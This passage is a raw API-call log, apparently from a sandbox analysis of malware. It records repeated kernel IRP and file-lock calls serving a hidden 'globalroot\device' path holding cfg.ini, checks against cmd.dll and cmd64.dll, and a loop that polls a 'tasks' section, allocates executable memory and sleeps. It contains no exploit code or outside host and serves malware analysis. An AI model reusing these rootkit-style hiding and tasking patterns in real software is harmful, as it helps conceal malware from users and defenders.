(StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.762] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.762] IdePortDispatch () returned 0x103 [0121.762] KeWaitForMutexObject () returned 0x0 [0121.762] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.762] KeLeaveCriticalRegion () [0121.762] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.762] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.762] KeEnterCriticalRegion () [0121.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bca000 [0121.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.762] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.762] IdePortDispatch () returned 0x103 [0121.762] KeWaitForMutexObject () returned 0x0 [0121.762] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.763] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.763] IdePortDispatch () returned 0x103 [0121.763] KeWaitForMutexObject () returned 0x0 [0121.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.763] KeLeaveCriticalRegion () [0121.763] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.763] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.763] KeEnterCriticalRegion () [0121.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.763] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.763] KeLeaveCriticalRegion () [0121.763] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.763] KeEnterCriticalRegion () [0121.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.763] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.763] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6e80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.764] KeLeaveCriticalRegion () [0121.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.764] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.764] KeEnterCriticalRegion () [0121.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.764] ExFreePoolWithTag (P=0xfffffa8003bc66c0, Tag=0x0) [0121.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.764] KeLeaveCriticalRegion () [0121.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.764] ReleaseMutex (hMutex=0xf0) returned 1 [0121.764] Sleep (dwMilliseconds=0x927c0) [0121.778] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.778] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.778] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.778] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.778] KeEnterCriticalRegion () [0121.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.778] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.778] IdePortDispatch () returned 0x103 [0121.778] KeWaitForMutexObject () returned 0x0 [0121.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.778] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.778] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.778] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.778] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.778] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc60b0 [0121.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.778] KeLeaveCriticalRegion () [0121.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.778] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.778] KeEnterCriticalRegion () [0121.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.779] KeLeaveCriticalRegion () [0121.779] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.779] KeEnterCriticalRegion () [0121.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.779] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.779] IdePortDispatch () returned 0x103 [0121.779] KeWaitForMutexObject () returned 0x0 [0121.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.779] KeLeaveCriticalRegion () [0121.779] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.779] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.779] KeEnterCriticalRegion () [0121.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.779] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcf000 [0121.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.779] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.779] IdePortDispatch () returned 0x103 [0121.779] KeWaitForMutexObject () returned 0x0 [0121.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.779] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.780] IdePortDispatch () returned 0x103 [0121.780] KeWaitForMutexObject () returned 0x0 [0121.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.780] KeLeaveCriticalRegion () [0121.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.780] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.780] KeEnterCriticalRegion () [0121.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.780] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.780] KeLeaveCriticalRegion () [0121.780] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.780] KeEnterCriticalRegion () [0121.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.780] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.780] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6170, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.780] KeLeaveCriticalRegion () [0121.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.780] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.781] KeEnterCriticalRegion () [0121.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.781] ExFreePoolWithTag (P=0xfffffa8003bc60b0, Tag=0x0) [0121.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.781] KeLeaveCriticalRegion () [0121.781] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.781] ReleaseMutex (hMutex=0xf0) returned 1 [0121.781] Sleep (dwMilliseconds=0x927c0) [0121.795] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.795] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.795] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.795] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.795] KeEnterCriticalRegion () [0121.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.795] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.795] IdePortDispatch () returned 0x103 [0121.795] KeWaitForMutexObject () returned 0x0 [0121.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.795] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.795] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.795] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.795] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.795] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc60b0 [0121.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.795] KeLeaveCriticalRegion () [0121.795] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.795] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.795] KeEnterCriticalRegion () [0121.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.795] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.795] KeLeaveCriticalRegion () [0121.795] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.795] KeEnterCriticalRegion () [0121.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.795] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.796] IdePortDispatch () returned 0x103 [0121.796] KeWaitForMutexObject () returned 0x0 [0121.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.796] KeLeaveCriticalRegion () [0121.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.796] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.796] KeEnterCriticalRegion () [0121.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.796] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd4000 [0121.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.796] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.796] IdePortDispatch () returned 0x103 [0121.796] KeWaitForMutexObject () returned 0x0 [0121.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.797] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.797] IdePortDispatch () returned 0x103 [0121.797] KeWaitForMutexObject () returned 0x0 [0121.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.797] KeLeaveCriticalRegion () [0121.797] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.798] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.798] KeEnterCriticalRegion () [0121.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.798] KeLeaveCriticalRegion () [0121.798] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.798] KeEnterCriticalRegion () [0121.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.798] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.798] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc63d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.798] KeLeaveCriticalRegion () [0121.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.798] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.798] KeEnterCriticalRegion () [0121.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.798] ExFreePoolWithTag (P=0xfffffa8003bc60b0, Tag=0x0) [0121.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.798] KeLeaveCriticalRegion () [0121.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.798] ReleaseMutex (hMutex=0xf0) returned 1 [0121.798] Sleep (dwMilliseconds=0x927c0) [0121.813] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.813] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.813] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.813] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.813] KeEnterCriticalRegion () [0121.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.813] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.813] IdePortDispatch () returned 0x103 [0121.813] KeWaitForMutexObject () returned 0x0 [0121.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.813] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.813] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.813] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.813] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.813] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2fb0 [0121.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.814] KeLeaveCriticalRegion () [0121.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.814] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.814] KeEnterCriticalRegion () [0121.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.814] KeLeaveCriticalRegion () [0121.814] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.814] KeEnterCriticalRegion () [0121.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.814] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.814] IdePortDispatch () returned 0x103 [0121.814] KeWaitForMutexObject () returned 0x0 [0121.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.814] KeLeaveCriticalRegion () [0121.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.814] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.814] KeEnterCriticalRegion () [0121.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.814] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd9000 [0121.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.814] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.814] IdePortDispatch () returned 0x103 [0121.815] KeWaitForMutexObject () returned 0x0 [0121.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.815] IoAllocateIrp 